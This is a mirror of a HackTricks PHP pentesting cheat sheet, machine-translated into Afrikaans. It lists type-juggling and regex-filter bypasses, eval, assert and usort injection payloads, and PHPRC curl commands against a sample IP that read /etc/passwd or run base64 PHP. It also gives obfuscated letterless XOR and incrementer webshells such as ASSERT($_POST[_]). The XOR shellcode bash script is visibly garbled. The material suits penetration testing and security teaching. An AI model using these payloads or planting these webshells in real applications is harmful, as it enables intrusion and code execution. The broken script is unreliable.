Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

22 KiB
Raw Blame History

PHP Truuks

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

{% embed url="https://websec.nl/" %}

Koekies algemene plek:

Dit is ook geldig vir phpMyAdmin-koekies.

Koekies:

PHPSESSID
phpMyAdmin

Plekke:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Oorskrywing van PHP-vergelykings

Los vergelykings/Tipe Jonglering ( == )

Indien == in PHP gebruik word, is daar onverwagte gevalle waar die vergelyking nie soos verwag gedra nie. Dit is omdat "==" slegs waardes vergelyk wat na dieselfde tipe omskep is, as jy ook wil vergelyk dat die tipe van die vergelykte data dieselfde is, moet jy === gebruik.

PHP-vergelykingstabelle: https://www.php.net/manual/en/types.comparisons.php

{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}

  • "string" == 0 -> True 'n String wat nie met 'n nommer begin nie, is gelyk aan 'n nommer
  • "0xAAAA" == "43690" -> True Strings saamgestel deur nommers in desimale of heksadesimale formaat kan vergelyk word met ander nommers/strings met 'n ware resultaat as die nommers dieselfde was (nommers in 'n string word geïnterpreteer as nommers)
  • "0e3264578" == 0 --> True 'n String wat met "0e" begin en gevolg word deur enigiets, sal gelyk wees aan 0
  • "0X3264578" == 0X --> True 'n String wat met "0" begin en gevolg word deur enige letter (X kan enige letter wees) en gevolg word deur enigiets, sal gelyk wees aan 0
  • "0e12334" == "0" --> True Dit is baie interessant omdat jy in sommige gevalle die string-invoer van "0" kan beheer en 'n paar inhoud wat gehash en daarmee vergelyk word, kan voorsien. Daarom, as jy 'n waarde kan voorsien wat 'n hash sal skep wat met "0e" begin en sonder enige letter, kan jy die vergelyking oorskry. Jy kan reeds gehashte strings met hierdie formaat hier vind: https://github.com/spaze/hashes
  • "X" == 0 --> True Enige letter in 'n string is gelyk aan int 0

Meer inligting in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Tipe Jonglering beïnvloed ook die in_array()-funksie standaard (jy moet die derde argument na waar stel om 'n streng vergelyking te maak):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Indien hierdie funksie gebruik word vir enige verifikasie kontrole (soos die wagwoordkontrole) en die gebruiker beheer een kant van die vergelyking, kan hy 'n leë array stuur in plaas van 'n string as die waarde van die wagwoord (https://example.com/login.php/?username=admin&password[]=) en sodoende hierdie kontrole omseil:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Die dieselfde fout gebeur ook met strcasecmp()

Streng tipe Jonglering

Selfs as === gebruik word, kan daar foute wees wat die vergelyking vatbaar maak vir tipe jonglering. Byvoorbeeld, as die vergelyking die data na 'n ander tipe voorwerp omskakel voordat dit vergelyk word:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() kan gebruik word om gebruikersinsette te valideer (dit kontroleer of enige woord/regex van 'n swartlys teenwoordig is in die gebruikersinset en as dit nie is nie, kan die kode voortgaan met sy uitvoering).

Nuwe lyn omseil

Maar, wanneer die begin van die regexp afgebaken word, preg_match() kontroleer slegs die eerste lyn van die gebruikersinset, dan as jy op een of ander manier die inset in verskeie lyne kan stuur, kan jy hierdie kontrole omseil. Voorbeeld:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Om hierdie kontrole te omseil, kan jy die waarde stuur met nuwe lyne urlencoded (%0A) of as jy JSON-data kan stuur, stuur dit in verskeie lyne:

{
"cmd": "cat /etc/passwd"
}

Vind 'n voorbeeld hier: https://ramadistra.dev/fbctf-2019-rceservice

Lengte fout omseiling

(Die omseiling is blykbaar probeer op PHP 5.2.5 en ek kon dit nie werk kry op PHP 7.3.15)
As jy 'n geldige baie groot inset aan preg_match() kan stuur, sal dit dit nie kan verwerk nie en jy sal die kontrole kan omseil. Byvoorbeeld, as dit 'n JSON op 'n swartlys plaas, kan jy stuur:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

ReDoS Omgewing

Truuk van: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223

In kort gebeur die probleem omdat die preg_* funksies in PHP bou op die PCRE-biblioteek. In PCRE word sekere regulêre uitdrukkings gematch deur 'n baie van herhalende oproepe te gebruik, wat baie stakingspasie gebruik. Dit is moontlik om 'n limiet te stel op die hoeveelheid herhalings wat toegelaat word, maar in PHP is hierdie limiet standaard 100.000 wat meer is as wat in die stak pas nie inpas nie.

Hierdie Stackoverflow-draad was ook gekoppel in die pos waar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:
Stuur 'n inset wat die regex 100_000+ herhalings laat doen, wat SIGSEGV veroorsaak, die preg_match() funksie false laat terugkeer en sodoende die aansoek laat dink dat ons inset nie skadelik is nie, en die verrassing aan die einde van die payload iets soos {system(<verybadcommand>)} gooi om SSTI --> RCE --> vlag te kry :).

Wel, in regex-terme doen ons eintlik nie 100k "herhalings" nie, maar in plaas daarvan tel ons "terugspoelstappe", wat soos die PHP-dokumentasie dit standaard tot 1_000_000 (1M) in die pcre.backtrack_limit veranderlike.
Om dit te bereik, sal 'X'*500_001 lei tot 1 miljoen terugspoelstappe (500k vorentoe en 500k agtertoe):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Tipe Jonglering vir PHP verduistering

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Uitvoer Na Omleiding (EAR)

As PHP na 'n ander bladsy omleiding maar geen die of exit funksie word geroep nadat die Location kop geset is, gaan PHP voort met die uitvoer en voeg die data by die liggaam:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Padtraversering en Lêerinsluiting Uitbuiting

Kontroleer:

{% content-ref url="../../../pentesting-web/file-inclusion/" %} file-inclusion {% endcontent-ref %}

Meer truuks

  • register_globals: In PHP < 4.1.1.1 of indien verkeerd ingestel, kan register_globals aktief wees (of hul gedrag word nageboots). Dit impliseer dat in globale veranderlikes soos $_GET as hulle 'n waarde het bv. $_GET["param"]="1234", kan jy dit benader via $param. Daarom, deur HTTP parameters te stuur, kan jy veranderlikes oorskrywe wat binne die kode gebruik word.
  • Die PHPSESSION koekies van dieselfde domein word in dieselfde plek gestoor, daarom as binne 'n domein verskillende koekies in verskillende paaie gebruik word, kan jy maak dat 'n pad die koekie van die pad benader deur die waarde van die ander pad se koekie in te stel.
    Op hierdie manier, as beide paaie 'n veranderlike met dieselfde naam benader, kan jy maak dat die waarde van daardie veranderlike in pad1 van toepassing is op pad2. En dan sal pad2 die veranderlikes van pad1 as geldig aanvaar (deur die koekie die naam te gee wat daarmee ooreenstem in pad2).
  • Wanneer jy die gebruikersname van die gebruikers van die masjien het. Kontroleer die adres: /~<USERNAME> om te sien of die php-gidse geaktiveer is.
  • LFI en RCE deur php wrappers te gebruik

password_hash/password_verify

Hierdie funksies word tipies in PHP gebruik om hasse van wagwoorde te genereer en om te kontroleer of 'n wagwoord korrek is in vergelyking met 'n has.
Die ondersteunde algoritmes is: PASSWORD_DEFAULT en PASSWORD_BCRYPT (begin met $2y$). Let daarop dat PASSWORD_DEFAULT dikwels dieselfde as PASSWORD_BCRYPT is. En tans het PASSWORD_BCRYPT 'n groottebeperking in die inset van 72 byte. Daarom, wanneer jy iets probeer hash wat groter as 72 byte is met hierdie algoritme, sal slegs die eerste 72B gebruik word:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP koppe ontduik PHP-foute deur te misbruik

As 'n PHP-bladsy foute druk en 'n paar insette wat deur die gebruiker voorsien word, terugstuur, kan die gebruiker die PHP-bediener laat terugstuur van inhoud wat lank genoeg is, sodat wanneer dit probeer om die koppe by die antwoord te voeg, die bediener 'n fout sal veroorsaak.
In die volgende scenario het die aanvaller die bediener groot foute laat veroorsaak, en soos gesien kan word in die skerm toe php probeer om die kopinligting te wysig, kon dit nie (so byvoorbeeld is die CSP-kop nie aan die gebruiker gestuur nie):

Kode-uitvoering

system("ls");
`ls`;
shell_exec("ls");

Kyk hier vir meer nuttige PHP-funksies

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Om die kode in die "replace" argument uit te voer, is ten minste een ooreenstemming nodig.
Hierdie opsie van preg_replace is verouder vanaf PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE via Assert()

Hierdie funksie binne php stel jou in staat om kode uit te voer wat geskryf is in 'n string om waar of vals terug te gee (en afhangende hiervan die uitvoering te verander). Gewoonlik sal die gebruiker veranderlike in die middel van 'n string ingevoeg word. Byvoorbeeld:
assert("strpos($_GET['page']),'..') === false") --> In hierdie geval om RCE te kry, kan jy:

?page=a','NeVeR') === false and system('ls') and strpos('a

Jy sal die kode sintaksie moet breek, jou lading byvoeg, en dit dan weer regmaak. Jy kan logiese operasies soos "en" of "%26%26" of "|" gebruik. Let daarop dat "of", "||" nie werk nie omdat as die eerste voorwaarde waar is, sal ons lading nie uitgevoer word nie. Dieselfde geld vir ";", dit sal nie werk nie omdat ons lading nie uitgevoer sal word nie.

Ander opsie is om die uitvoering van die opdrag by die string te voeg: '.highlight_file('.passwd').'

Ander opsie (as jy die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: $file = "hola"

RCE via usort()

Hierdie funksie word gebruik om 'n lys items te sorteer deur 'n spesifieke funksie te gebruik.
Om hierdie funksie te misbruik:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>

<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

RCE via .httaccess

As jy 'n .htaccess kan oplaai, kan jy verskeie dinge konfigureer en selfs kode uitvoer (deur daardie lêers met die uitbreiding .htaccess te laat uitvoer).

Verskillende .htaccess doppe kan hier gevind word hier

RCE via Omgewingsveranderlikes

As jy 'n kwesbaarheid vind wat jou toelaat om omgewingsveranderlikes in PHP te wysig (en nog een om lêers op te laai, alhoewel dit met meer navorsing dalk omseil kan word), kan jy hierdie gedrag misbruik om RCE te kry.

  • LD_PRELOAD: Hierdie omgewingsveranderlike laat jou toe om willekeurige biblioteke te laai wanneer jy ander binêre lêers uitvoer (alhoewel dit in hierdie geval dalk nie werk nie).
  • PHPRC : Instrueer PHP oor waar om sy konfigurasie lêer te vind, gewoonlik genoem php.ini. As jy jou eie konfigurasie lêer kan oplaai, gebruik dan PHPRC om PHP daarheen te wys. Voeg 'n auto_prepend_file inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale PHP-kode wat dan uitgevoer word deur die PHP-uitvoertyd voor enige ander kode.
  1. Laai 'n PHP-lêer op wat ons skelkode bevat
  2. Laai 'n tweede lêer op wat 'n auto_prepend_file rigtinggewende instruksie bevat wat die PHP-voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer
  3. Stel die PHPRC veranderlike in op die lêer wat ons in stap 2 opgelaai het.
  • Kry meer inligting oor hoe om hierdie ketting uit te voer vanaf die oorspronklike verslag.
  • PHPRC - 'n ander opsie
  • As jy nie lêers kan oplaai nie, kan jy in FreeBSD die "lêer" /dev/fd/0 gebruik wat die stdin bevat, wat die liggaam van die versoek wat na die stdin gestuur is:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Of om RCE te kry, aktiveer allow_url_include en voeg 'n lêer met base64 PHP-kode voor:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Tegniek vanaf hierdie verslag.

PHP Statische analise

Kyk of jy kode kan invoeg in oproepe na hierdie funksies (van hier):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Indien jy 'n PHP-toepassing aan die foutopsporing is, kan jy foutafdruk globaal aktiveer in /etc/php5/apache2/php.ini deur display_errors = On by te voeg en Apache te herlaai: sudo systemctl restart apache2

Ontsleuteling van PHP-kode

Jy kan die web www.unphp.net gebruik om PHP-kode te ontsluit.

PHP-Omhulsels & Protokolle

PHP-Omhulsels en protokolle kan jou in staat stel om skryf- en leesbeskerming te omseil in 'n stelsel en dit in gevaar te stel. Vir meer inligting kyk na hierdie bladsy.

Xdebug ongeagte RCE

As jy sien dat Xdebug geaktiveer is in 'n phpconfig() uitset, moet jy probeer om RCE te kry via https://github.com/nqxcode/xdebug-exploit

Veranderlike veranderlikes

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE misbruik nuwe $_GET["a"]($_GET["b"])

As in 'n bladsy jy kan 'n nuwe objek van 'n willekeurige klas skep kan jy moontlik RCE verkry, kyk na die volgende bladsy om te leer hoe:

{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}

Voer PHP uit sonder letters

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Gebruik van oktaal

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR maklike dop-kode

Volgens hierdie skryfstuk is dit moontlik om 'n maklike dop-kode op hierdie manier te genereer:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

So, as jy arbitrêre PHP sonder syfers en letters kan uitvoer, kan jy 'n versoek stuur soos die volgende deur daardie lading te misbruik om arbitrêre PHP uit te voer:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Vir 'n meer diepgaande verduideliking, kyk na https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (binne eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\

lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='

lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl soos

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

{% embed url="https://websec.nl/" %}

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: